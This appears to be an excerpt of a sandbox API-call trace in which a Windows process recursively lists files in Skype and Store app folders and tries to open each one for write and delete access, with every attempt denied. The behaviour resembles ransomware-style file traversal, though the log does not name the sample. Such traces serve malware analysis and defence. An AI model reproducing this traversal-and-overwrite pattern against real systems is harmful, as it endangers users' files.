	[0091.268] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\Skype_Call_Dialing.m4a" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_x64__kzf8qxf38zg5c\\skypeapp\\assets\\audio\\skype_call_dialing.m4a")) returned 0x20
	[0091.268] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\Skype_Call_Dialing.m4a", dwFileAttributes=0x20) returned 0
	[0091.268] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\Skype_Call_Dialing.m4a" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_x64__kzf8qxf38zg5c\\skypeapp\\assets\\audio\\skype_call_dialing.m4a"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.268] GetLastError () returned 0x5
	[0091.268] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\Skype_Call_Dialing.m4a", dwFileAttributes=0x20) returned 0
	[0091.269] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4778160) returned 1
	[0091.269] FindNextFileW (in: hFindFile=0x477b568, lpFindFileData=0x502e158 | out: lpFindFileData=0x502e158*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81533dc, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x819f893, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x819f893, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2847, dwReserved0=0x0, dwReserved1=0x0, cFileName="Skype_Call_Ended.m4a", cAlternateFileName="")) returned 1
	[0091.269] wcscmp (_String1="Skype_Call_Ended.m4a", _String2=".") returned 1
	[0091.269] wcscmp (_String1="Skype_Call_Ended.m4a", _String2="..") returned 1
	[0091.269] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf2) returned 0x4778160
	[0091.269] wcscpy (in: _Dest=0x4778160, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio"
	[0091.269] wcscat (in: _Dest=0x4778160, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\"
	[0091.269] wcscat (in: _Dest=0x4778160, _Source="Skype_Call_Ended.m4a" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\Skype_Call_Ended.m4a") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\Skype_Call_Ended.m4a"
	[0091.269] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\Skype_Call_Ended.m4a" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_x64__kzf8qxf38zg5c\\skypeapp\\assets\\audio\\skype_call_ended.m4a")) returned 0x20
	[0091.271] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\Skype_Call_Ended.m4a", dwFileAttributes=0x20) returned 0
	[0091.271] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\Skype_Call_Ended.m4a" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_x64__kzf8qxf38zg5c\\skypeapp\\assets\\audio\\skype_call_ended.m4a"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.271] GetLastError () returned 0x5
	[0091.271] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\Skype_Call_Ended.m4a", dwFileAttributes=0x20) returned 0
	[0091.271] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4778160) returned 1
	[0091.271] FindNextFileW (in: hFindFile=0x477b568, lpFindFileData=0x502e158 | out: lpFindFileData=0x502e158*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x819f893, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x81c5af1, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x81c5af1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2a76, dwReserved0=0x0, dwReserved1=0x0, cFileName="Skype_Call_Failed.m4a", cAlternateFileName="")) returned 1
	[0091.271] wcscmp (_String1="Skype_Call_Failed.m4a", _String2=".") returned 1
	[0091.271] wcscmp (_String1="Skype_Call_Failed.m4a", _String2="..") returned 1
	[0091.271] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf4) returned 0x4778160
	[0091.271] wcscpy (in: _Dest=0x4778160, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio"
	[0091.271] wcscat (in: _Dest=0x4778160, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\"
	[0091.271] wcscat (in: _Dest=0x4778160, _Source="Skype_Call_Failed.m4a" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\Skype_Call_Failed.m4a") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\Skype_Call_Failed.m4a"
	[0091.271] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\Skype_Call_Failed.m4a" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_x64__kzf8qxf38zg5c\\skypeapp\\assets\\audio\\skype_call_failed.m4a")) returned 0x20
	[0091.271] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\Skype_Call_Failed.m4a", dwFileAttributes=0x20) returned 0
	[0091.271] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\Skype_Call_Failed.m4a" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_x64__kzf8qxf38zg5c\\skypeapp\\assets\\audio\\skype_call_failed.m4a"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.272] GetLastError () returned 0x5
	[0091.272] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\Skype_Call_Failed.m4a", dwFileAttributes=0x20) returned 0
	[0091.272] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4778160) returned 1
	[0091.272] FindNextFileW (in: hFindFile=0x477b568, lpFindFileData=0x502e158 | out: lpFindFileData=0x502e158*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81c5af1, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x81ebd4a, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x81ebd4a, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3699, dwReserved0=0x0, dwReserved1=0x0, cFileName="Skype_Call_Hold.m4a", cAlternateFileName="")) returned 1
	[0091.272] wcscmp (_String1="Skype_Call_Hold.m4a", _String2=".") returned 1
	[0091.272] wcscmp (_String1="Skype_Call_Hold.m4a", _String2="..") returned 1
	[0091.272] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf0) returned 0x491b740
	[0091.272] wcscpy (in: _Dest=0x491b740, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio"
	[0091.272] wcscat (in: _Dest=0x491b740, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\"
	[0091.272] wcscat (in: _Dest=0x491b740, _Source="Skype_Call_Hold.m4a" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\Skype_Call_Hold.m4a") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\Skype_Call_Hold.m4a"
	[0091.272] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\Skype_Call_Hold.m4a" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_x64__kzf8qxf38zg5c\\skypeapp\\assets\\audio\\skype_call_hold.m4a")) returned 0x20
	[0091.272] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\Skype_Call_Hold.m4a", dwFileAttributes=0x20) returned 0
	[0091.272] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\Skype_Call_Hold.m4a" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_x64__kzf8qxf38zg5c\\skypeapp\\assets\\audio\\skype_call_hold.m4a"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.272] GetLastError () returned 0x5
	[0091.272] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\Skype_Call_Hold.m4a", dwFileAttributes=0x20) returned 0
	[0091.272] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491b740) returned 1
	[0091.272] FindNextFileW (in: hFindFile=0x477b568, lpFindFileData=0x502e158 | out: lpFindFileData=0x502e158*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81ebd4a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x8211fa4, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x8211fa4, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x199e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Skype_Call_Resume.m4a", cAlternateFileName="")) returned 1
	[0091.272] wcscmp (_String1="Skype_Call_Resume.m4a", _String2=".") returned 1
	[0091.272] wcscmp (_String1="Skype_Call_Resume.m4a", _String2="..") returned 1
	[0091.273] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf4) returned 0x4778160
	[0091.273] wcscpy (in: _Dest=0x4778160, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio"
	[0091.273] wcscat (in: _Dest=0x4778160, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\"
	[0091.273] wcscat (in: _Dest=0x4778160, _Source="Skype_Call_Resume.m4a" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\Skype_Call_Resume.m4a") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\Skype_Call_Resume.m4a"
	[0091.273] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\Skype_Call_Resume.m4a" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_x64__kzf8qxf38zg5c\\skypeapp\\assets\\audio\\skype_call_resume.m4a")) returned 0x20
	[0091.273] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\Skype_Call_Resume.m4a", dwFileAttributes=0x20) returned 0
	[0091.273] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\Skype_Call_Resume.m4a" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_x64__kzf8qxf38zg5c\\skypeapp\\assets\\audio\\skype_call_resume.m4a"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.273] GetLastError () returned 0x5
	[0091.273] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\Skype_Call_Resume.m4a", dwFileAttributes=0x20) returned 0
	[0091.273] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4778160) returned 1
	[0091.273] FindNextFileW (in: hFindFile=0x477b568, lpFindFileData=0x502e158 | out: lpFindFileData=0x502e158*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81ebd4a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x8211fa4, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x8211fa4, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x199e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Skype_Call_Resume.m4a", cAlternateFileName="")) returned 0
	[0091.273] FindClose (in: hFindFile=0x477b568 | out: hFindFile=0x477b568) returned 1
	[0091.274] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502e158) returned 1
	[0091.274] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e12ab8) returned 1
	[0091.274] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4719120) returned 1
	[0091.274] FindNextFileW (in: hFindFile=0x477b668, lpFindFileData=0x502fe38 | out: lpFindFileData=0x502fe38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8211fa4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x8211fa4, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x8211fa4, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xa5, dwReserved0=0x0, dwReserved1=0x0, cFileName="delete_12x12.scale-200.png", cAlternateFileName="")) returned 1
	[0091.274] wcscmp (_String1="delete_12x12.scale-200.png", _String2=".") returned 1
	[0091.274] wcscmp (_String1="delete_12x12.scale-200.png", _String2="..") returned 1
	[0091.274] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf2) returned 0x4778160
	[0091.274] wcscpy (in: _Dest=0x4778160, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets"
	[0091.274] wcscat (in: _Dest=0x4778160, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\"
	[0091.274] wcscat (in: _Dest=0x4778160, _Source="delete_12x12.scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\delete_12x12.scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\delete_12x12.scale-200.png"
	[0091.275] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\delete_12x12.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_x64__kzf8qxf38zg5c\\skypeapp\\assets\\delete_12x12.scale-200.png")) returned 0x20
	[0091.282] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\delete_12x12.scale-200.png", dwFileAttributes=0x20) returned 0
	[0091.282] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\delete_12x12.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_x64__kzf8qxf38zg5c\\skypeapp\\assets\\delete_12x12.scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.282] GetLastError () returned 0x5
	[0091.282] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\delete_12x12.scale-200.png", dwFileAttributes=0x20) returned 0
	[0091.282] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4778160) returned 1
	[0091.283] FindNextFileW (in: hFindFile=0x477b668, lpFindFileData=0x502fe38 | out: lpFindFileData=0x502fe38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8211fa4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x8211fa4, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x8211fa4, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0x0, dwReserved1=0x0, cFileName="edit_12x12.scale-200.png", cAlternateFileName="")) returned 1
	[0091.283] wcscmp (_String1="edit_12x12.scale-200.png", _String2=".") returned 1
	[0091.283] wcscmp (_String1="edit_12x12.scale-200.png", _String2="..") returned 1
	[0091.283] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xee) returned 0x491b170
	[0091.283] wcscpy (in: _Dest=0x491b170, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets"
	[0091.283] wcscat (in: _Dest=0x491b170, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\"
	[0091.283] wcscat (in: _Dest=0x491b170, _Source="edit_12x12.scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\edit_12x12.scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\edit_12x12.scale-200.png"
	[0091.283] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\edit_12x12.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_x64__kzf8qxf38zg5c\\skypeapp\\assets\\edit_12x12.scale-200.png")) 

Thread:
	id = 852
	os_tid = 0xd08

	[0082.040] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xac) returned 0x2d7d118
	[0082.040] wcscpy (in: _Dest=0x2d7d118, _Source="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe"
	[0082.040] wcscat (in: _Dest=0x2d7d118, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\"
	[0082.040] wcscat (in: _Dest=0x2d7d118, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\*"
	[0082.040] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47130e0
	[0082.040] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\*", lpFindFileData=0x47130e0 | out: lpFindFileData=0x47130e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x137b8f21, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xdfec7dad, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xdfec7dad, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a7150
	[0082.043] wcscmp (_String1=".", _String2=".") returned 0
	[0082.043] FindNextFileW (in: hFindFile=0x46a7150, lpFindFileData=0x47130e0 | out: lpFindFileData=0x47130e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x137b8f21, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xdfec7dad, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xdfec7dad, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.043] wcscmp (_String1="..", _String2=".") returned 1
	[0082.043] wcscmp (_String1="..", _String2="..") returned 0
	[0082.043] FindNextFileW (in: hFindFile=0x46a7150, lpFindFileData=0x47130e0 | out: lpFindFileData=0x47130e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x137df17b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x137df17b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x137df17b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x94a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0082.043] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0082.043] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0082.043] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xca) returned 0x46a5890
	[0082.043] wcscpy (in: _Dest=0x46a5890, _Source="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe"
	[0082.043] wcscat (in: _Dest=0x46a5890, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\"
